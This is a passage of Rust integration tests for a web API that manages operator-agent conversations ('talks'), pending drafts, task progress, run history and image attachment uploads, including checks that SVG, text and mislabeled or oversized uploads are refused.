14724 assert_eq!(tasks[0]["id"], mine.id);
14725 for status in [
14726 TaskStatus::Queued,
14727 TaskStatus::Running,
14728 TaskStatus::Held,
14729 TaskStatus::Failed,
14730 TaskStatus::Blocked,
14731 TaskStatus::Parked,
14732 TaskStatus::Done,
14733 TaskStatus::Queued,
14734 ] {
14735 mine.status = status;
14736 queue.put(&mut mine).expect("update status");
14737 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14738 let progress = &detail["task_progress"];
14739 assert_eq!(progress["total"], 1);
14740 assert_eq!(progress["counts"][status.as_str()], 1);
14741 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14742 assert_eq!(detail["status"], "open", "completion never closes the chat");
14743 if status == TaskStatus::Done {
14744 assert_eq!(progress["state"], "complete");
14745 assert_eq!(progress["done"], 1);
14746 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14747 } else {
14748 assert_eq!(progress["state"], "incomplete");
14749 assert_eq!(progress["done"], 0);
14750 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14751 }
14752 }
14753 }
14754
14755 #[test]
14756 fn talk_task_progress_counts_mixed_statuses() {
14757 let mut tasks: Vec<_> = [
14758 TaskStatus::Queued,
14759 TaskStatus::Running,
14760 TaskStatus::Held,
14761 TaskStatus::Failed,
14762 TaskStatus::Blocked,
14763 TaskStatus::Parked,
14764 TaskStatus::Done,
14765 ]
14766 .into_iter()
14767 .map(|status| {
14768 let mut task = Task::new(
14769 "task".into(),
14770 "task".into(),
14771 PathBuf::from("/repo"),
14772 Source::Human,
14773 );
14774 task.status = status;
14775 task
14776 })
14777 .collect();
14778 let progress = talk_task_progress(&tasks);
14779 assert_eq!(progress.state, "incomplete");
14780 assert_eq!(progress.total, 7);
14781 assert_eq!(progress.done, 1);
14782 assert_eq!(progress.unfinished_ids.len(), 6);
14783 assert!(progress.counts.values().all(|count| *count == 1));
14784 assert_eq!(
14785 progress.unfinished_ids,
14786 tasks[..6]
14787 .iter()
14788 .map(|task| task.id.clone())
14789 .collect::<Vec<_>>()
14790 );
14791
14792 for task in &mut tasks {
14793 task.status = TaskStatus::Done;
14794 }
14795 let complete = talk_task_progress(&tasks);
14796 assert_eq!(complete.state, "complete");
14797 assert_eq!(complete.done, 7);
14798 assert!(complete.unfinished_ids.is_empty());
14799 tasks[0].status = TaskStatus::Queued;
14800 let requeued = talk_task_progress(&tasks);
14801 assert_eq!(requeued.state, "incomplete");
14802 assert_eq!(requeued.done, 6);
14803 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14804
14805 let empty = talk_task_progress(&[]);
14806 assert_eq!(empty.state, "none");
14807 assert_eq!(empty.total, 0);
14808 assert_eq!(empty.done, 0);
14809 assert!(empty.unfinished_ids.is_empty());
14810 assert!(empty.counts.values().all(|count| *count == 0));
14811 }
14812
14813 #[tokio::test]
14814 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14815 let (_tmp, _repo, f) = talk_fixture().await;
14816 let id = f.post("/api/talks", None).await.json()["id"]
14817 .as_str()
14818 .expect("id")
14819 .to_owned();
14820
14821 let res = f
14822 .post(
14823 &format!("/api/talks/{id}/say"),
14824 Some(r#"{"text":"what does the queue module do?"}"#),
14825 )
14826 .await;
14827 assert_eq!(res.status, 202, "{}", res.body);
14828 let queued = res.json();
14829 let turns = queued["turns"].as_array().expect("turns array");
14830 assert_eq!(
14831 turns.len(),
14832 1,
14833 "the answer reflects only what is on disk the instant it is sent, \
14834 before the agent's turn - which can run for the whole of \
14835 `[graph] timeout_talk` - has a chance to land: {queued}"
14836 );
14837 assert_eq!(turns[0]["who"], "operator");
14838 assert_eq!(turns[0]["body"], "what does the queue module do?");
14839 assert_eq!(
14840 queued["thinking"], true,
14841 "the accepted response exposes the background turn claim: {queued}"
14842 );
14843
14844 let mut turns_after = 1;
14845 for _ in 0..SETTLE_STEPS {
14846 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14847 turns_after = detail["turns"].as_array().expect("turns array").len();
14848 if turns_after == 2 {
14849 break;
14850 }
14851 tokio::time::sleep(Duration::from_millis(10)).await;
14852 }
14853 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14854 }
14855
14856 #[tokio::test]
14883 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14884 let tmp = TempDir::new().expect("tempdir");
14885 let repo = tmp.path().join("repo");
14886 std::fs::create_dir_all(&repo).expect("repo dir");
14887 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14888 let home = TempDir::new().expect("temp home");
14889 let talks = Talks::at(home.path().join("talks"));
14890 let ui = Arc::new(
14891 Ui::new(
14892 Queue::at(home.path().join("queue")),
14893 Questions::at(home.path().join("questions")),
14894 talks.clone(),
14895 home.path().join("runs"),
14896 home.path().to_path_buf(),
14897 repo.clone(),
14898 )
14899 .with_worktrees_root(home.path().join("wt")),
14900 );
14901 let cfg = config_for(&repo).await.expect("discover config");
14902
14903 for delay in 0..40u32 {
14904 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14905 let id = talk.id.clone();
14906
14907 let handler = tokio::spawn(talk_say(
14908 State(Arc::clone(&ui)),
14909 Path(id.clone()),
14910 Ok(Json(NewTalkTurn {
14911 reply_to: None,
14912 text: "what does the queue module do?".to_owned(),
14913 attachments: Vec::new(),
14914 })),
14915 ));
14916 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14917 handler.abort();
14918 let _ = handler.await;
14921
14922 let mut turns = 0;
14923 for _ in 0..SETTLE_STEPS {
14924 if let Ok(fresh) = talks.get(&id) {
14925 turns = fresh.turns.len();
14926 if turns != 1 {
14927 break;
14928 }
14929 }
14930 tokio::time::sleep(Duration::from_millis(10)).await;
14931 }
14932 assert_ne!(
14933 turns, 1,
14934 "delay {delay}: talk {id} recorded the operator's turn but \
14935 the agent never answered - the reply task was never \
14936 started after the handler future was dropped"
14937 );
14938 }
14939 }
14940
14941 #[tokio::test]
14986 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14987 let tmp = TempDir::new().expect("tempdir");
14988 let repo = tmp.path().join("repo");
14989 std::fs::create_dir_all(&repo).expect("repo dir");
14990 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14991 let home = TempDir::new().expect("temp home");
14992 let talks = Talks::at(home.path().join("talks"));
14993 let ui = Arc::new(
14994 Ui::new(
14995 Queue::at(home.path().join("queue")),
14996 Questions::at(home.path().join("questions")),
14997 talks.clone(),
14998 home.path().join("runs"),
14999 home.path().to_path_buf(),
15000 repo.clone(),
15001 )
15002 .with_worktrees_root(home.path().join("wt")),
15003 );
15004 let cfg = config_for(&repo).await.expect("discover config");
15005
15006 for attempt in 0..3u32 {
15007 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15008 let id = talk.id.clone();
15009 let turn_guard = ui
15012 .begin_talk_turn(&id)
15013 .expect("claim the turn")
15014 .expect("a fresh talk owes nobody a turn");
15015
15016 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15017 let (release_tx, release_rx) = std::sync::mpsc::channel();
15018 ui.set_busy_queue_gate(BusyQueueGate {
15019 reached: reached_tx,
15020 release: release_rx,
15021 });
15022
15023 let handler = tokio::spawn(talk_say(
15024 State(Arc::clone(&ui)),
15025 Path(id.clone()),
15026 Ok(Json(NewTalkTurn {
15027 reply_to: None,
15028 text: "what does the queue module do?".to_owned(),
15029 attachments: Vec::new(),
15030 })),
15031 ));
15032
15033 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15038 .await
15039 .unwrap_or_else(|_| {
15040 panic!(
15041 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15042 )
15043 })
15044 .expect("the busy branch dropped the gate without using it");
15045 assert!(
15046 crate::consult::try_publication_guard(&talks, &id)
15047 .expect("publication fence")
15048 .is_none(),
15049 "a queued worker cannot promote text before its successor reservation is published"
15050 );
15051
15052 let closing = Arc::clone(&ui.admissions).write_owned();
15056 tokio::pin!(closing);
15057 std::future::poll_fn(|cx| {
15058 assert!(closing.as_mut().poll(cx).is_pending());
15059 std::task::Poll::Ready(())
15060 })
15061 .await;
15062 assert!(
15063 ui.begin_admission().is_err(),
15064 "replacement blocks later admissions"
15065 );
15066
15067 let running = talks.get(&id).expect("reload talk");
15074 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15075
15076 handler.abort();
15080 let _ = handler.await;
15081 std::future::poll_fn(|cx| {
15082 assert!(
15083 closing.as_mut().poll(cx).is_pending(),
15084 "HTTP cancellation must not abandon a publishing transaction"
15085 );
15086 std::task::Poll::Ready(())
15087 })
15088 .await;
15089 assert!(
15090 crate::consult::try_publication_guard(&talks, &id)
15091 .expect("publication fence after disconnect")
15092 .is_none()
15093 );
15094
15095 let _ = release_tx.send(());
15101 drop(
15102 tokio::time::timeout(Duration::from_secs(5), closing)
15103 .await
15104 .expect("short admission transaction should release for replacement"),
15105 );
15106 assert!(
15107 crate::consult::try_publication_guard(&talks, &id)
15108 .expect("publication fence after acknowledgement")
15109 .is_some(),
15110 "the publication fence is not retained by the long response"
15111 );
15112
15113 let mut fresh = talks.get(&id).expect("reload talk");
15116 for _ in 0..SETTLE_STEPS {
15117 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15118 break;
15119 }
15120 tokio::time::sleep(Duration::from_millis(10)).await;
15121 fresh = talks.get(&id).expect("reload talk");
15122 }
15123 assert!(
15124 fresh.pending.is_empty() && fresh.turns.len() == 2,
15125 "attempt {attempt}: talk {id} left the operator's text queued \
15126 with no drainer - the reclaimed turn was dropped along with \
15127 the handler future (pending {:?}, {} turns)",
15128 fresh.pending,
15129 fresh.turns.len()
15130 );
15131 }
15132 }
15133
15134 #[tokio::test]
15135 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15136 let (_tmp, _repo, f) = talk_fixture().await;
15137 let id = f.post("/api/talks", None).await.json()["id"]
15138 .as_str()
15139 .expect("id")
15140 .to_owned();
15141 let store = f.talks();
15142 let mut recovered = store.get(&id).expect("opened talk");
15143 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15144 .expect("persist pending draft without a live turn");
15145
15146 let edited = f
15147 .post(
15148 &format!("/api/talks/{id}/pending/edit"),
15149 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15150 )
15151 .await;
15152 assert_eq!(edited.status, 200, "{}", edited.body);
15153 assert!(edited.json()["thinking"].as_bool().unwrap());
15154
15155 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15156 for _ in 0..SETTLE_STEPS {
15157 if detail["turns"].as_array().expect("turns").len() == 2 {
15158 break;
15159 }
15160 tokio::time::sleep(Duration::from_millis(10)).await;
15161 detail = f.get(&format!("/api/talks/{id}")).await.json();
15162 }
15163 let turns = detail["turns"].as_array().expect("turns");
15164 assert_eq!(
15165 turns.len(),
15166 2,
15167 "the recovered draft must run once: {detail}"
15168 );
15169 assert_eq!(turns[0]["body"], "corrected");
15170 assert_eq!(detail["pending"], "");
15171 }
15172
15173 #[tokio::test]
15174 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15175 let tmp = TempDir::new().expect("tempdir");
15176 let repo = tmp.path().join("repo");
15177 std::fs::create_dir_all(&repo).expect("repo dir");
15178 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15179 let f = Fixture::with_repo(repo).await;
15180 let id = f.post("/api/talks", None).await.json()["id"]
15181 .as_str()
15182 .expect("id")
15183 .to_owned();
15184 let store = f.talks();
15185 let mut recovered = store.get(&id).expect("opened talk");
15186 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15187 .expect("persist pending draft without a live turn");
15188
15189 let refused = f
15190 .post(
15191 &format!("/api/talks/{id}/say"),
15192 Some(r#"{"text":"new message"}"#),
15193 )
15194 .await;
15195 assert_eq!(refused.status, 409, "{}", refused.body);
15196 assert!(refused.body.contains("resume"), "{}", refused.body);
15197 let saved = store.get(&id).expect("draft remains after refusal");
15198 assert!(saved.turns.is_empty());
15199 assert_eq!(saved.pending, "saved before restart");
15200
15201 let say_path = format!("/api/talks/{id}/say");
15202 let (first, second) = tokio::join!(
15203 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15204 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15205 );
15206 assert_eq!(first.status, 409, "{}", first.body);
15207 assert_eq!(second.status, 409, "{}", second.body);
15208 let saved = store
15209 .get(&id)
15210 .expect("draft remains after concurrent refusals");
15211 assert!(saved.turns.is_empty());
15212 assert_eq!(saved.pending, "saved before restart");
15213
15214 let resumed = f
15215 .post(&format!("/api/talks/{id}/pending/resume"), None)
15216 .await;
15217 assert_eq!(resumed.status, 202, "{}", resumed.body);
15218 let duplicate = f
15219 .post(&format!("/api/talks/{id}/pending/resume"), None)
15220 .await;
15221 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15222
15223 for _ in 0..SETTLE_STEPS {
15224 if store.get(&id).expect("talk").turns.len() == 2 {
15225 break;
15226 }
15227 tokio::time::sleep(Duration::from_millis(10)).await;
15228 }
15229 let finished = store.get(&id).expect("finished talk");
15230 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15231 assert_eq!(finished.turns[0].body, "saved before restart");
15232 assert!(finished.pending.is_empty());
15233 }
15234
15235 #[tokio::test]
15236 async fn an_image_only_recovered_draft_resumes_without_text() {
15237 let (_tmp, _repo, f) = talk_fixture().await;
15238 let id = f.post("/api/talks", None).await.json()["id"]
15239 .as_str()
15240 .expect("id")
15241 .to_owned();
15242 let uploaded = f
15243 .post_bytes(
15244 &format!("/api/talks/{id}/attachments"),
15245 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15246 PNG_BYTES,
15247 )
15248 .await;
15249 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15250 let attachment = f
15251 .talks()
15252 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15253 .expect("attachment metadata")
15254 .expect("stored attachment");
15255 let store = f.talks();
15256 let mut recovered = store.get(&id).expect("opened talk");
15257 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15258
15259 let resumed = f
15260 .post(&format!("/api/talks/{id}/pending/resume"), None)
15261 .await;
15262 assert_eq!(resumed.status, 202, "{}", resumed.body);
15263 for _ in 0..SETTLE_STEPS {
15264 if store.get(&id).expect("talk").turns.len() == 2 {
15265 break;
15266 }
15267 tokio::time::sleep(Duration::from_millis(10)).await;
15268 }
15269 let finished = store.get(&id).expect("finished talk");
15270 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15271 assert!(finished.turns[0].body.is_empty());
15272 assert_eq!(finished.turns[0].attachments.len(), 1);
15273 assert!(finished.pending_attachments.is_empty());
15274 }
15275
15276 #[tokio::test]
15277 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15278 let (_tmp, _repo, f) = talk_fixture().await;
15279 let id = f.post("/api/talks", None).await.json()["id"]
15280 .as_str()
15281 .expect("id")
15282 .to_owned();
15283 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15284 assert_eq!(closed.status, 200, "{}", closed.body);
15285 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15286 .expect("serialize closed talk");
15287 for (path, body) in [
15288 (format!("/api/talks/{id}/pending/resume"), None),
15289 (
15290 format!("/api/talks/{id}/pending/clear"),
15291 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15292 ),
15293 (
15294 format!("/api/talks/{id}/pending/edit"),
15295 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15296 ),
15297 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15298 ] {
15299 let response = f.post(&path, body).await;
15300 assert_eq!(response.status, 409, "{}", response.body);
15301 }
15302 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15303 .expect("serialize closed talk");
15304 assert_eq!(
15305 after_clear, before_clear,
15306 "clear must not rewrite a closed talk"
15307 );
15308 }
15309
15310 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15313
15314 #[tokio::test]
15315 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15316 let tmp = TempDir::new().expect("tempdir");
15317 let repo = tmp.path().join("repo");
15318 std::fs::create_dir_all(&repo).expect("repo dir");
15319 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15320 let f = Fixture::with_repo(repo).await;
15321 let id_a = f.post("/api/talks", None).await.json()["id"]
15322 .as_str()
15323 .unwrap()
15324 .to_owned();
15325 let id_b = f.post("/api/talks", None).await.json()["id"]
15326 .as_str()
15327 .unwrap()
15328 .to_owned();
15329
15330 let a = f
15331 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15332 .await;
15333 assert_eq!(a.status, 202, "{}", a.body);
15334 assert_eq!(a.json()["thinking"], true);
15335 let b = f
15336 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15337 .await;
15338 assert_eq!(b.status, 202, "{}", b.body);
15339 assert_eq!(b.json()["thinking"], true);
15340
15341 let listed = f.get("/api/talks").await.json();
15342 for id in [&id_a, &id_b] {
15343 let view = listed
15344 .as_array()
15345 .unwrap()
15346 .iter()
15347 .find(|talk| talk["id"] == *id)
15348 .unwrap();
15349 assert_eq!(view["thinking"], true, "{listed}");
15350 }
15351 let repeated = f
15352 .post(
15353 &format!("/api/talks/{id_a}/say"),
15354 Some(r#"{"text":"again"}"#),
15355 )
15356 .await;
15357 assert_eq!(repeated.status, 202, "{}", repeated.body);
15358 assert_eq!(repeated.json()["pending"], "again");
15359 }
15360
15361 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15364
15365 #[tokio::test]
15366 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15367 let f = Fixture::start().await;
15368 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15369
15370 let res = f
15371 .post_bytes(
15372 &format!("/api/talks/{id}/attachments"),
15373 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15374 PNG_BYTES,
15375 )
15376 .await;
15377 assert_eq!(res.status, 201, "{}", res.body);
15378 let body = res.json();
15379 assert_eq!(body["name"], "shot.png");
15380 assert_eq!(body["mime"], "image/png");
15381 assert_eq!(body["bytes"], PNG_BYTES.len());
15382 let att_id = body["id"].as_str().expect("id").to_owned();
15383 assert_eq!(
15384 att_id.len(),
15385 32,
15386 "the id must never be a client-suppliable path: {att_id}"
15387 );
15388
15389 let got = f
15390 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15391 .await;
15392 assert_eq!(got.status, 200, "{}", got.body);
15393 assert_eq!(got.header("content-type"), Some("image/png"));
15394 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15395 assert_eq!(got.bytes, PNG_BYTES);
15396 }
15397
15398 #[tokio::test]
15399 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15400 let f = Fixture::start().await;
15401 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15402
15403 let svg = f
15406 .post_bytes(
15407 &format!("/api/talks/{id}/attachments"),
15408 &[("Content-Type", "image/svg+xml")],
15409 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15410 )
15411 .await;
15412 assert!(
15413 (400..500).contains(&svg.status),
15414 "svg must be refused: {} {}",
15415 svg.status,
15416 svg.body
15417 );
15418 assert!(svg.body.contains("SVG"), "{}", svg.body);
15419
15420 let text = f
15421 .post_bytes(
15422 &format!("/api/talks/{id}/attachments"),
15423 &[("Content-Type", "text/plain")],
15424 b"just some text",
15425 )
15426 .await;
15427 assert!(
15428 (400..500).contains(&text.status),
15429 "an unlisted type must be refused: {} {}",
15430 text.status,
15431 text.body
15432 );
15433
15434 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15437 let big = f
15438 .post_bytes(
15439 &format!("/api/talks/{id}/attachments"),
15440 &[("Content-Type", "image/png")],
15441 &oversized,
15442 )
15443 .await;
15444 assert_eq!(
15445 big.status,
15446 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15447 "{}",
15448 big.body
15449 );
15450 }
15451
15452 #[tokio::test]
15453 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15454 let f = Fixture::start().await;
15455 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15456
15457 let res = f
15460 .post_bytes(
15461 &format!("/api/talks/{id}/attachments"),
15462 &[("Content-Type", "image/png")],
15463 b"<html>not a picture</html>",
15464 )
15465 .await;
15466 assert!((400..500).contains(&res.status), "{}", res.body);
15467 }
15468
15469 #[tokio::test]
15470 async fn an_unknown_attachment_id_is_a_404() {
15471 let f = Fixture::start().await;
15472 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15473
15474 let res = f
15475 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15476 .await;
15477 assert_eq!(res.status, 404, "{}", res.body);
15478 }
15479
15480 #[tokio::test]
15481 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15482 let f = Fixture::start().await;
15483 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15484
15485 let uploaded = f
15486 .post_bytes(
15487 &format!("/api/talks/{id}/attachments"),
15488 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15489 PNG_BYTES,
15490 )
15491 .await;
15492 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15493 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15494
15495 let res = f
15496 .post(
15497 &format!("/api/talks/{id}/say"),
15498 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15499 )
15500 .await;
15501 assert_eq!(res.status, 202, "{}", res.body);
15502 let queued = res.json();
15503 let turns = queued["turns"].as_array().expect("turns array");
15504 assert_eq!(
15505 turns.len(),
15506 1,
15507 "an empty body with an attachment is still a turn: {queued}"
15508 );
15509 assert_eq!(turns[0]["who"], "operator");
15510 assert_eq!(turns[0]["body"], "");
15511 let atts = turns[0]["attachments"]
15512 .as_array()
15513 .expect("attachments array");
15514 assert_eq!(atts.len(), 1);
15515 assert_eq!(atts[0]["id"], att_id);
15516 assert_eq!(atts[0]["mime"], "image/png");
15517
15518 let on_disk = f.talks().get(&id).expect("get");
15521 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15522 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15523 }
15524
15525 #[tokio::test]
15526 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15527 let f = Fixture::start().await;
15528 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15529
15530 let res = f
15531 .post(
15532 &format!("/api/talks/{id}/say"),
15533 Some(&format!(
15534 r#"{{"text":"hi","attachments":["{}"]}}"#,
15535 "a".repeat(32)
15536 )),
15537 )
15538 .await;
15539 assert!((400..500).contains(&res.status), "{}", res.body);
15540 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15541
15542 let on_disk = f.talks().get(&id).expect("get");
15543 assert!(
15544 on_disk.turns.is_empty(),
15545 "a rejected attachment id must not partially record the turn: {:?}",
15546 on_disk.turns
15547 );
15548 }
15549
15550 #[tokio::test]
15551 async fn talk_close_makes_the_talk_refuse_further_turns() {
15552 let f = Fixture::start().await;
15553 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15554
15555 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15556 assert_eq!(closed.status, 200, "{}", closed.body);
15557 assert_eq!(closed.json()["status"], "closed");
15558
15559 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15561 assert_eq!(closed_again.status, 200);
15562 assert_eq!(closed_again.json()["status"], "closed");
15563
15564 let said = f
15565 .post(
15566 &format!("/api/talks/{id}/say"),
15567 Some(r#"{"text":"too late"}"#),
15568 )
15569 .await;
15570 assert_eq!(said.status, 409, "{}", said.body);
15571 }
15572
15573 #[tokio::test]
15574 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15575 let (_tmp, _repo, f) = talk_fixture().await;
15576 let id = f.post("/api/talks", None).await.json()["id"]
15577 .as_str()
15578 .expect("id")
15579 .to_owned();
15580 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15581 assert_eq!(closed.status, 200, "{}", closed.body);
15582
15583 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15584 assert_eq!(reopened.status, 200, "{}", reopened.body);
15585 assert_eq!(reopened.json()["status"], "open");
15586
15587 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15589 assert_eq!(reopened_again.status, 200);
15590 assert_eq!(reopened_again.json()["status"], "open");
15591
15592 let said = f
15593 .post(
15594 &format!("/api/talks/{id}/say"),
15595 Some(r#"{"text":"still there?"}"#),
15596 )
15597 .await;
15598 assert_eq!(
15599 said.status, 202,
15600 "a reopened talk accepts turns again: {}",
15601 said.body
15602 );
15603 }
15604
15605 #[tokio::test]
15606 async fn talk_reopen_on_an_unknown_id_is_404() {
15607 let f = Fixture::start().await;
15608 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15609 assert_eq!(res.status, 404, "{}", res.body);
15610 }
15611
15612 #[tokio::test]
15613 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15614 let f = Fixture::start().await;
15615 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15616
15617 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15618 assert_eq!(deleted.status, 204, "{}", deleted.body);
15619
15620 let after = f.get(&format!("/api/talks/{id}")).await;
15621 assert_eq!(after.status, 404, "{}", after.body);
15622
15623 let listed = f.get("/api/talks").await.json();
15624 assert!(
15625 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15626 "a deleted talk must not linger in the list: {listed}"
15627 );
15628 }
15629
15630 #[tokio::test]
15631 async fn talk_delete_on_an_unknown_id_is_404() {
15632 let f = Fixture::start().await;
15633 let res = f.delete("/api/talks/nonexistent-id").await;
15634 assert_eq!(res.status, 404, "{}", res.body);
15635 }
15636
15637 #[tokio::test]
15641 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15642 let f = Fixture::start().await;
15643 let (a, b, gone) = (
15644 "20260902-140501-aaaa",
15645 "20260902-140502-bbbb",
15646 "20260902-140503-cccc",
15647 );
15648 write_run(&f.runs(), a, RunStatus::Stalled);
15649 let mut review = RunState::new(
15650 PathBuf::from("/repo/magi"),
15651 "main".to_owned(),
15652 "0123456789abcdef".to_owned(),
15653 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15654 .to_owned(),
15655 Config::default(),
15656 );
15657 review.id = b.to_owned();
15658 review.status = RunStatus::Merged;
15659 write_state(&f.runs(), &review);
15660
15661 let mut task = Task::new(
15662 "retry".to_owned(),
15663 "Do the thing".to_owned(),
15664 PathBuf::from("/repo/magi"),
15665 Source::Human,
15666 );
15667 task.start(a.to_owned());
15668 task.stall("quota");
15669 task.start(a.to_owned());
15670 task.start(b.to_owned());
15671 task.start(gone.to_owned());
15672 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15674 f.queue().put(&mut task).expect("file the task");
15675
15676 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15677 assert_eq!(res.status, 200, "{}", res.body);
15678 let v = res.json();
15679 let h = v["history"].as_array().expect("history");
15680 assert_eq!(h.len(), 4, "{v}");
15681 assert_eq!(h[0]["kind"], "competition");
15682 assert_eq!(h[0]["status"], "stalled");
15683 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15684 assert_eq!(h[1]["kind"], "resume", "{v}");
15685 assert!(
15686 h[0]["outcome"]
15687 .as_str()
15688 .unwrap()
15689 .contains("unknown. Pass #2"),
15690 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15691 );
15692 assert!(
15693 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15694 "{v}"
15695 );
15696 assert!(
15697 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15698 "an unrecorded cause must not be narrated as an operator park: {v}"
15699 );
15700 assert_eq!(h[2]["kind"], "review");
15701 assert!(
15702 h[2]["description"]
15703 .as_str()
15704 .unwrap()
15705 .contains("magi/aaaa/A")
15706 );
15707 assert_eq!(h[2]["status"], "merged");
15708 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15709 assert_eq!(v["runs_unreadable"], 1);
15710 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15711 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15712 assert_eq!(nodes[4]["note"], "unreadable");
15713 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15714 assert_eq!(v["instruction"], "Do the thing");
15715 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15716
15717 let run = f.get(&format!("/api/runs/{a}")).await.json();
15719 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15720
15721 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15722 }
15723
15724 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15725 let mut s = RunState::new(
15726 PathBuf::from("/repo/magi"),
15727 "main".to_owned(),
15728 "0123456789abcdef".to_owned(),
15729 "Do it".to_owned(),
15730 Config::default(),
15731 );
15732 s.status = status;
15733 edit(&mut s);
15734 s
15735 }
15736
15737 fn flow_task(runs: &[&str]) -> Task {
